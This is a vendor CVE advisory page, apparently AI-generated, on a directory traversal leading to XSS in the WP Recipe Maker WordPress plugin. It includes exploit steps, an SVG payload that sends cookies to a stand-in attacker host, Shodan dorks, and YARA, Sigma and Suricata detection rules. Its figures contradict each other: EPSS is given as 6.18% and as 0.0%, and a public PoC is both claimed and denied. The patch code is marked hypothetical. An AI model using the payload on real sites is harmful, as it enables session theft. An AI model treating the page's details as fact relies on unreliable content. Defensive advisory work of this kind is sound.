☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 5.4 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N 🐛 CWE-22
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2024-0380

CVE-2024-0380 Cross-Site Scripting in Wp recipe maker
📅 PUBLISHED: 2024-02-05 21:21 UTC 🔄 UPDATED: 2026-08-12 14:52 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 6.18%
👁️
6.18% probability
154.6× above the median CVE
Tier: HIGH
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 5.4
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: L Privileges Required Low
UI: N User Interaction None
S: U Scope Unchanged
C: L Confidentiality Low
I: L Integrity Low
A: N Availability None
5.4
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-0380 is a Directory Traversal vulnerability in the WP Recipe Maker WordPress plugin, affecting all versions up to and including 9.1.0. The flaw resides in the icon attribute used in Shortcodes, allowing authenticated attackers with contributor-level access or higher to include the contents of SVG files from arbitrary server directories. This can be leveraged for Cross-Site Scripting (XSS) by embedding malicious SVG content. The vulnerability has a CVSS score of 5.4 (Medium), with a low EPSS score (0.0%) indicating limited active exploitation. No public exploit code or Nuclei template is available, but the attack vector is well-documented.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability affects the WordPress ecosystem via the WP Recipe Maker plugin. Since it is a third-party plugin, the risk extends to any WordPress site using it. The plugin is distributed through the official WordPress plugin repository, and users must manually update or apply patches. No known supply chain compromise has been reported, but the lack of a patch increases the risk of malicious actors exploiting unpatched installations.

CVSS Breakdown & Threat Level

  • CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N
  • Base Score: 5.4 (Medium)
  • Attack Vector: Network (AV:N)
  • Attack Complexity: Low (AC:L)
  • Privileges Required: Low (PR:L) – requires contributor-level access or higher
  • User Interaction: None (UI:N)
  • Scope: Unchanged (S:U)
  • Confidentiality Impact: Low (C:L) – limited to reading SVG file contents
  • Integrity Impact: Low (I:L) – can inject XSS via SVG
  • Availability Impact: None (A:N)

Threat Level: Medium. The vulnerability requires authentication, but contributor-level access is common in multi-author WordPress sites. The ability to read arbitrary SVG files and inject XSS makes it a credible threat for targeted attacks.

Deep Dive & Mechanics

The vulnerability exists in the WP Recipe Maker plugin’s shortcode handling, specifically the icon attribute. The plugin fails to properly sanitize or validate the icon parameter, allowing path traversal sequences (e.g., ../../) to read files outside the intended directory. Since SVG files can contain JavaScript, an attacker can craft a malicious SVG file (or use an existing one) to execute XSS when the shortcode is rendered.

Attack Flow:

  1. An authenticated user with contributor-level access creates or edits a post containing a WP Recipe Maker shortcode.
  2. The attacker sets the icon attribute to a path like ../../wp-content/uploads/malicious.svg.
  3. The plugin includes the SVG file content, which may contain embedded JavaScript.
  4. When the page is rendered, the SVG’s JavaScript executes in the context of the victim’s browser, leading to XSS.

Root Cause: The plugin uses file_get_contents() or similar functions without validating the path, allowing directory traversal. The lack of output encoding for SVG content further enables XSS.

Vulnerable vs. Patched Code

Vulnerable Code (simplified):

function render_icon($atts) {
    $icon = $atts['icon'];
    $svg_content = file_get_contents($icon);
    return $svg_content;
}

Patched Code (hypothetical):

function render_icon($atts) {
    $icon = basename($atts['icon']); // Remove path traversal
    $allowed_path = WP_CONTENT_DIR . '/uploads/icons/';
    $icon_path = $allowed_path . $icon;
    if (strpos(realpath($icon_path), $allowed_path) !== 0) {
        return ''; // Deny access
    }
    $svg_content = file_get_contents($icon_path);
    return htmlspecialchars($svg_content, ENT_QUOTES, 'UTF-8'); // Encode output
}

Key Differences:

  • Path Validation: Patched code uses basename() and realpath() to restrict file access to a specific directory.
  • Output Encoding: Patched code encodes SVG content to prevent XSS.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

  • WordPress site with WP Recipe Maker plugin (<= 9.1.0)
  • Contributor-level account or higher

Exploit Steps:

  1. Upload a malicious SVG file (e.g., xss.svg) to the WordPress media library or a writable directory.
  2. Create a new post and insert a WP Recipe Maker shortcode with a crafted icon attribute:
    [wprm-recipe icon="../../wp-content/uploads/xss.svg"]
    
  3. Publish or preview the post. The SVG’s JavaScript will execute.

Malicious SVG Example:

<svg xmlns="http://www.w3.org/2000/svg">
  <script>alert('XSS')</script>
</svg>

Alternative Payload (cookie theft):

<svg xmlns="http://www.w3.org/2000/svg">
  <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
</svg>

Blue Team (Detection & Hardening)

Detection:

  • Monitor for shortcodes with suspicious icon attributes containing ../ or absolute paths.
  • Look for unusual SVG file inclusions in page source.

Hardening:

  • Restrict contributor-level access to trusted users only.
  • Use a Web Application Firewall (WAF) to block path traversal patterns in shortcode attributes.
  • Apply the principle of least privilege to file system access.

Indicators of Compromise (IOCs)

  • File Paths: ../../wp-content/uploads/*.svg or similar traversal patterns in shortcode attributes.
  • Network Traffic: Outbound requests to attacker-controlled domains from SVG JavaScript (e.g., fetch('https://attacker.com/...')).
  • Log Entries: PHP errors related to file_get_contents() with suspicious paths.
  • SVG Files: Unusual SVG files in the uploads directory containing <script> tags.

Detection Engineering

YARA Rule

rule CVE_2024_0380_WP_Recipe_Maker_Traversal {
    meta:
        description = "Detects directory traversal attempts in WP Recipe Maker shortcode icon attribute"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2024-0380"
    strings:
        $traversal = /\[wprm-recipe[^\]]*icon\s*=\s*["'][^"']*\.\.\// nocase
        $svg_script = /<svg[^>]*>.*?<script[^>]*>.*?<\/script>/si
    condition:
        $traversal or $svg_script
}

Sigma Rule

title: CVE-2024-0380 WP Recipe Maker Directory Traversal
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects directory traversal attempts in WP Recipe Maker shortcode icon attribute
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-query|contains: 
            - 'icon=..'
            - 'icon=%2e%2e'
    condition: selection
falsepositives:
    - Legitimate use of relative paths (unlikely)
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-0380 WP Recipe Maker Directory Traversal"; flow:to_server,established; content:"icon"; http_uri; content:".."; http_uri; distance:0; within:10; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable the WP Recipe Maker plugin until a patch is available.
  2. Restrict contributor-level accounts to only trusted users.
  3. Implement a WAF rule to block path traversal patterns in shortcode attributes.

Long-Term Fix:

  • The vendor must release a patched version that validates the icon attribute path and encodes SVG output.
  • Users should monitor the plugin’s changelog for updates and apply them promptly.

Workaround:

  • Use a custom function to override the shortcode handler and add path validation.

Valters IT Signature: This report was generated by Valters IT DevSecOps AI. For further analysis, contact Valters IT.

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.html:"wp-recipe-maker"
http.html:"wp-recipe-maker" "wp-content/plugins"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-0380/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.